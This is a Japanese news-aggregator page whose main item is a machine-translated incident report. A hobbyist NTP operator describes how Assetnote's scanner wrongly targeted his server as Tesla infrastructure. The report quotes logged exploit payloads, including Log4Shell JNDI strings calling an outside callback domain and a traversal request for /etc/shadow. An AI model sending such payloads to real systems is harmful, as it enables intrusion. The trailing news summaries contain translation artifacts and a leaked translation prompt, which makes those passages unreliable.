2026/09/14 3:03

テスラ・インクからサイバー攻撃を受けています

RSS: https://news.ycombinator.com/rss

要約▶

日本語訳:

Assetnote（現在は Searchlight Cyber）の自動化されたスキャナーが、CNAME pool-ntp.tesla.com が公開 NTP プールを指しているため、内部テスラ資産と誤認識され、脅威曝露チェックで誤標的となったアマチュア NTP サーバー 67.215.249.229。8 月 21 日以降に同サーバーには約 8,000 回（2 台のホストからのアクセスが 2 日間に集中）を含む 5 万回を超えるリクエストが、Assetnote のユーザーエージェントを使用した AWS IP アドレス 3 つ（54.165.75.96、35.168.63.24、52.44.200.251）から送信された。スキャナーは Log4Shell、SSRF、Text4Shell、パストラバーサル、Webshell 上書き、ASP.NET/WordPress インターナルといった脆弱性を調べるためのプローブを実行し、一部のリクエストではコールバック URL を標的としたものや、/b を/bin/ に解決するようなトリックを使用したものもあった。9 月 8 日には、サーバーからスキャナーログへの人間の注意喚起を行う非標準のステータスコード 299 と通知が返された。ログには pool-ntp.tesla.com からの Host ヘッダーや、servicemcdonalds.com、saferas.com などの関連ないドメインからの Referer が、埋め込まれたエクスプロイトペイロードとともに示されている。この活動は、研究家の Matt Nordhoff が 8 月中旬から報告している NTP プールに対する広範なスキャンと類似しており、第三者ツールが資産マッピングにおいて偶発的に不正確になるリスクを浮き彫りにしている。Patrik（Assetnote）が著者と連絡を取り、問題が解決済みであることを確認した。データの漏洩はないし、嫌がらせは終了したが、この事件は自動化されたセキュリティチェックにおける誤認識のリスク、つまり関係ないサービスプロバイダに対して不要なトラフィックを生成する点を強調している。著者はファイアウォールで IP アドレスをブロックすることを選ばなかったが、引き続き監視を続ける方針であり、テスラに対し非テスラシステムの意図しないスキャンについて通知した。

本文

Assetnote からの誤検知攻撃と問題解決レポート

状況の概要

IPv4 インターネットの暗い地下街で、Drive-by スキャナーによる大量のトラフィックや執拗な攻撃に見舞われることは珍しくありません。しかし、

nginx

ログを精査した際、以下の奇妙な現象を確認しました。

特定 3 IP から持続的な攻撃トラフィックが届いている
```
Host
```
または
```
Referer
```
ヘッダーに pool-ntp.tesla.com
が含まれている
User Agent に Assetnote の情報が記載されている
SSRF（サーバーサイド Request Forgery）攻撃により、私を Assetnote のコールバック URL へ誘導しようとしている

現在：Assetnote 社のパトリック氏から親切なメッセージをいただき、問題が解消されたことをお知らせいたします。 ご協力ありがとうございました！

攻撃源の特定

このトラフィックは以下の 3 つの特定のスキャナー から発していました。これら全ての IP は Amazon Web Services (AWS) のリージョン（AMAZON-AES）にあります。

```
54.165.75.96
```
```
35.168.63.24
```
```
52.44.200.251
```

攻撃ログの例

35.168.63.24 - - [13/Sep/2026:01:14:31 -0700] "GET /?a=%3Cscript%20src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>alert()%3C%2Fscript%3E HTTP/1.1" 299 817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 ${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}" host=pool-ntp.tesla.com

問題の原因：Tesla のドメイン誤認識

Assetnote（旧 Searchlight Cyber） は、正当な攻撃表面管理ツールですが、以下の理由で「誤検知」が発生しました。

CNAME レコードの罠
- Tesla は
```
pool-ntp.tesla.com
```
  を CNAME で
```
pool.ntp.org
```
  に公開しています。
- ```
pool.ntp.org
```
  はボランティアによる NTP サーバーの輪番リストです。
- 推測： Assetnote が
```
tesla.com
```
  下にあるすべてのドメインを収集する際、この CNAME レコードを見逃しました。
攻撃プロセスの誤作動
- Assetnote は「Tesla のアセット」としてこのドメインを登録。
- リクエストは
```
pool.ntp.org
```
  に解決し、さらに私のマシン（
```
67.215.249.229
```
  ）へ到達します。
- 結果として、未知の人物である私に対して攻撃を試みています。

Tesla からの連絡

Tesla 側へのメールで状況を説明しました。返信はありませんでしたが、以下の要点を伝えました。

ハイ、これは Tesla の脆弱性ではなく、何も要求しているわけではありませんが、あなたがた无意識に迷惑をかけた可能性があることを伝えたいと思いご連絡いたしました。私のサーバーは NTP プールのメンバーです。過去 2 日間ほどで、Assetnote スキャンホストからの約 8,000 リクエストを受け取っています（User Agent:
<Assetnote/1.0.0 (ExposureScan)>
）。多くのテンプレート化されたエクスプロイトペイロードが含まれており、すべてで
<pool-ntp.tesla.com>
をターゲットホスト名として使用しています。あなたのアセット発見プロセスにより、<pool-ntp.tesla.com> で解決できる全ての IP が、アクティブスキャンの範囲内として誤って対象に含まれているようです。被害はありませんが、未知の人物である他人の IP アドレスに対してエクスプロイトを送信していることを警告したくご連絡いたしました。

攻撃の詳細：多岐にわたる試行

Assetnote ホストはあらゆる種類のエクスプロイトを試みました。

狙われた技術的ベクトル

パス横断
Webshell のアップロード
ソフトウェア内部のプロブ
WordPress や他の CMS の管理エンドポイント
SSRF
Log4Shell など

コールバック試行の例

989 件のリクエストで「assetnote-callback.com」を、114 件で「canary.assetnotessrf.com」を使用してコールバックを試みました。

GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a}

奇妙なオビエクト（オブジェクト）とヘッダー

ASP.NET トリック:
```
Host
```
ヘッダーに
```
login.solarcity.com
```
が含まれ、
```
GET /(S(x))/b/(S(x))in/System.Web.Mvc.dll
```
を要求（
```
/bin/
```
への解決を試みている疑い）。

Referer ヘッダーの焼き付け: テンプレート自体にホスト名が埋め込まれた例：

GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow

サードパーティホスト名の混在:

```
servicemcdonalds.com
```
```
saferas.com
```
```
rsmafghanistan.af
```
```
disneyfineart.com
```
など

RFC 1918 範囲内のアドレス:

Referer: http://192.168.178.222/admin_ui/mas/ent/html/main.html

異常な HTTP 行動

スキャナーは発見したすべてのポートに対して HTTP 通信を試みました。これにより、SSH や Postfix、Dovecot などの非 HTTP サーバーが大量の不要なトラフィックを受け入れました。

対抗措置：カスタムレスポンスの実装

9 月 8 日から、人間がスキャナーログを確認できるよう、以下の非標準的なステータスコード 299と注意書きを含むレスポンスを送信していました。

# これは Tesla インフラストラクチャではありません！
これはホビー用 NTP、ウェブおよび miscellaneous サーバーです。
過去数日間で、pool-ntp.tesla.com ホストに対して、Assetnote のスキャンホスト（54.165.75.96 および 35.168.63.24）からの多数のリクエストを受け取っています。
pool-ntp.tesla.com は CNAME で pool.ntp.org に解決し、これが輪番方式で数千のボランティア NTP サーバーに接続されますが、あなたのスキャナーは誤って私のサーバーに張り付いてしまったようです。
被害をもたらしていませんが、未知の人物である他人の IP アドレスに対してエクスプロイトを送信しています。
この件については VulnerabilityReporting@tesla.com にもメールを送りました。詳細なログをご提供したい場合は、robin@dreamstation.systems までお戻りください。

残念ながら、これによりスキャナーの行動が変わることはありませんでした。しかし、攻撃はすべて無効化されており、その点で誇りに思っています。

NTP プール全体への影響はあるか？

NTP プールのコミュニティボードに問い合わせ、「他のオペレーターも同様の現象を目撃しているか」を確認しました。

確認結果: 一人のオペレーター（マット・ノルドホフ氏）から報告あり。

統計データ例:

$ sudo rg -zFI pool-ntp.tesla.com access.log* | awk '{print $1}' | sort | uniq -c | sort -gr | head
  9126 54.165.75.96
  7461 35.168.63.24
  6123 52.44.200.251
   ...

疑問点: Assetnote は「pool-ntp.tesla.com」を毎度再解決して地理的に可能な全ターゲットに到達しているのか、それとも僅かなプールの IP を収集して叩き込んでいるのか不明です。他社のオペレーターからは報告がないため、影響範囲の特定には課題があります。

最終的な解決

Assetnote 社のパトリック氏から非常に親切なメッセージをいただき、問題が解消されたことをお知らせいたします。

状態： 解決済
アクション: ご協力ありがとうございました！

同じ日のほかのニュース

一覧に戻る →

2026/09/14 6:06

Claude Fable 5.1 が、370年もの間解読されてこなかったシフラル・ディスティッヒを解読しました

## Japanese Translation: Claude AI が、ロイヤリストのトマス・アークハート（*Logopandecteision* および *The Jewel* の作品）から提示された 2 つの歴史的に未解決のカギ合を成功裏に解読し、ブルートフォース計算や人類による事前の解読なしに、王チャールズ 2 世への隠された祈りを明らかにしました。これらのカギ合は、既知の解法が存在せず、CIA などの組織によってこれまで追求されたことがなかったため、特に選ばれました。大規模なデータ処理ではなく、モデルは単純で埋め込まれた構造的ロジックを認識しました：一方のカギ合は、各数字をアークハートの 32 の「Proquiritations」内の単語インデックスにマッピングし、他方は *The Jewel* のページインデックスに数字をマッピングし、それらのページの最初の一語の頭文字を採用します。これにより、「O GOD UPHOLD KING CHARLS THE SECOND / MAKE HIM THE SUPREME RULER OF THIS LAND」という 2 つのロイヤリストの祈りと、「GREAT LORD, MANTAINE THAT REGAL FAMILIE / WHEREOF KING CHARLS THE SECOND IS THE HEAD...」という ottava rima 形式の祈りが得られ、写本エラー、ハイフン接続語、ページシフトオフセット、および *The Jewel* の不読み可能なセグメントによる軽微な不一致を除いて正確です。検証の結果、275 の位置のうち 231 が正確な最初の単語の一致を示しています。1652 年版の *Jewel* のフリーデジタル画像が存在しないため、残りの不明点を解決するには実物コピーまたはジャック＆ライアルの 1983 年版が必要です。この成果は、高度な AI が以前見過ごされてきた微妙な構造的パターンを検出することで歴史的真実を明らかにすることを示しており、暗号解析を計算的なブルートフォースからパターン認識へ転換しました。

2026/09/14 2:37

Google はなぜ依然として不適切な広告を表示し続けているのでしょうか？

## Japanese Translation: Google の高度な AI モデルである Gemini は、iOS システムアラートのパロディを用いてユーザーをクリックさせるよう誘導する欺瞞的な YouTube 広告を特定しました。オペレーティングシステムのダイアログを模倣した広告を禁止する厳格なポリシーが存在にもかかわらず、この誤解を招くクリエイティブは複数回のユーザー苦情にもかかわらず人間による審査官によって以前承認されていました。広告は非機能のボタンを用いて緊急のハードウェア故障状態を偽造し、視聴者にデバイスが直ちに技術的危機に直面しているという錯覚を成功裡に抱かせました。この操作は虚偽表示に関する基本的なルールに違反し、プラットフォームの安全メカニズムに対するユーザーの信頼を損ないます。したがって、Google はクリエイティブコンテンツを即座に承認停止するよう推奨し、ポリシー違反警告を発出することを示唆しています。広告主がこの種の欺瞞的な実践を継続した場合、アカウントの完全な停止のリスクに直面します。この事例は、人間による監視と自動検知の間にある重大なギャップを浮き彫りにしており、Google はこれらの洗練された詐欺を特定できる強力な AI を保有していますが、システムはまだ有害コンテンツがユーザーに到達する前に能動的にブロックするためにそれらを完全に活用していないという状況です。

2026/09/10 21:27

Julia 1.13 のハイライト

## Japanese Translation: Julia 1.13 がリリースされ、回帰と課題を特定することに焦点を当てたテスターおよびコントリビューターからの大きな貢献が反映されています。今回のアップデートは、特に起動時間とパッケージの前コンパイルにおいて劇的なパフォーマンス向上をもたらします。ベンチマークによると、パッケージの読み込みはバージョン 1.12 に比べて約 30% 速く（LTS の 1.10 に比べて約 10-20% 速く）、アプリケーションの起動時間は 1.12 に比べて約 20% 向上しており、平均的なスピードアップ率は約 1.22 倍です。これらの改善は、AbstractString および数値型に対して RapidhashNano を採用したことであり、イメージオブジェクトのマーキングをスキップしてフルコレクション時間を短縮した強化された garbage collection、そして新しいデフォルトのハッシュングアルゴリズムという技術的なアップデートによって実現されています。より迅速な開発ワークフローを支援するために、重要なバグ修正により Ctrl-C を通じた割り込み処理がより信頼性高く、タスクのカANCEL mechanisms が改善されました。また、リリースには REPL に直接組み込まれる貴重な開発者ツールが含まれます：内部実装による構文ハイライトは OhMyREPL.jl などの外部パッケージの必要性を排除し、新しい fzf スタイルの履歴検索（Ctrl-R）がファジー検索と複数結果の選択、そして REPL モードの表示をサポートします。また、Windows では効率的なテキスト入力を可能にする括弧付きペースト機能も利用可能です。診断機能をさらに強化するために、「--trace-eval」フラグにより、テストスイートやスクリプトでの停滞を特定しながらトップレベルの評価進捗を監視することができ、新しい「@__FUNCTION__」マクロは「#self#」の代替としてパブリック API として機能します。さらに、イントロスペクションマクロは型の付いた呼び出し式を受け付けるようになり、Time To First X（TTFX）モニタリングは 2026 年 9 月 7 日より稼働開始される新しい CI ジョブを通じて Julia の開発プロセスの一部として統合されました。これらの改善は、テスト時や大規模スクリプト実行時の待ち時間を大幅に削減し、個人のコントリビューターおよびエンタープライズチームの両方に対して全体の生産性を高め、より速いフィードバックループを提供します。 ## Text to translate: Julia version 1.13 has been released with significant contributions from testers and contributors focused on identifying regressions and issues. The update delivers dramatic performance improvements, particularly in startup times and package precompilation. Benchmarks indicate that loading packages is now roughly 30% faster than in version 1.12 (and roughly 10-20% faster than 1.10 LTS), while application startup times have improved by approximately 20% over 1.12, with a mean speedup of ~1.22x. These gains are driven by technical updates including the adoption of RapidhashNano for AbstractString and numeric types, enhanced garbage collection that skips marking image objects to reduce full collection time, and new default hashing algorithms. To support this faster development workflow, critical bug fixes ensure more reliable interrupt handling via Ctrl-C and improved task cancellation mechanisms. The release also introduces valuable developer tools directly into the REPL: built-in syntax highlighting replaces the need for external packages like OhMyREPL.jl, a new fzf-style history search (Ctrl-R) supports fuzzy searching with multiple result selection and REPL mode indication, and bracketed paste functionality is now available on Windows for efficient text input. Further enhancing diagnostics, the `--trace-eval` flag allows users to monitor top-level evaluation progress to identify hangs in test suites or scripts, while a new `@__FUNCTION__` macro serves as a public API alternative to `#self#`. Additionally, introspection macros now accept call expressions with types, and Time To First X (TTFX) monitoring is now an integrated part of Julia's development process through new CI jobs, going live on September 7, 2026. Collectively, these improvements significantly reduce wait times during testing or large-scale script execution, thereby boosting overall productivity and providing faster feedback loops for both individual contributors and enterprise teams.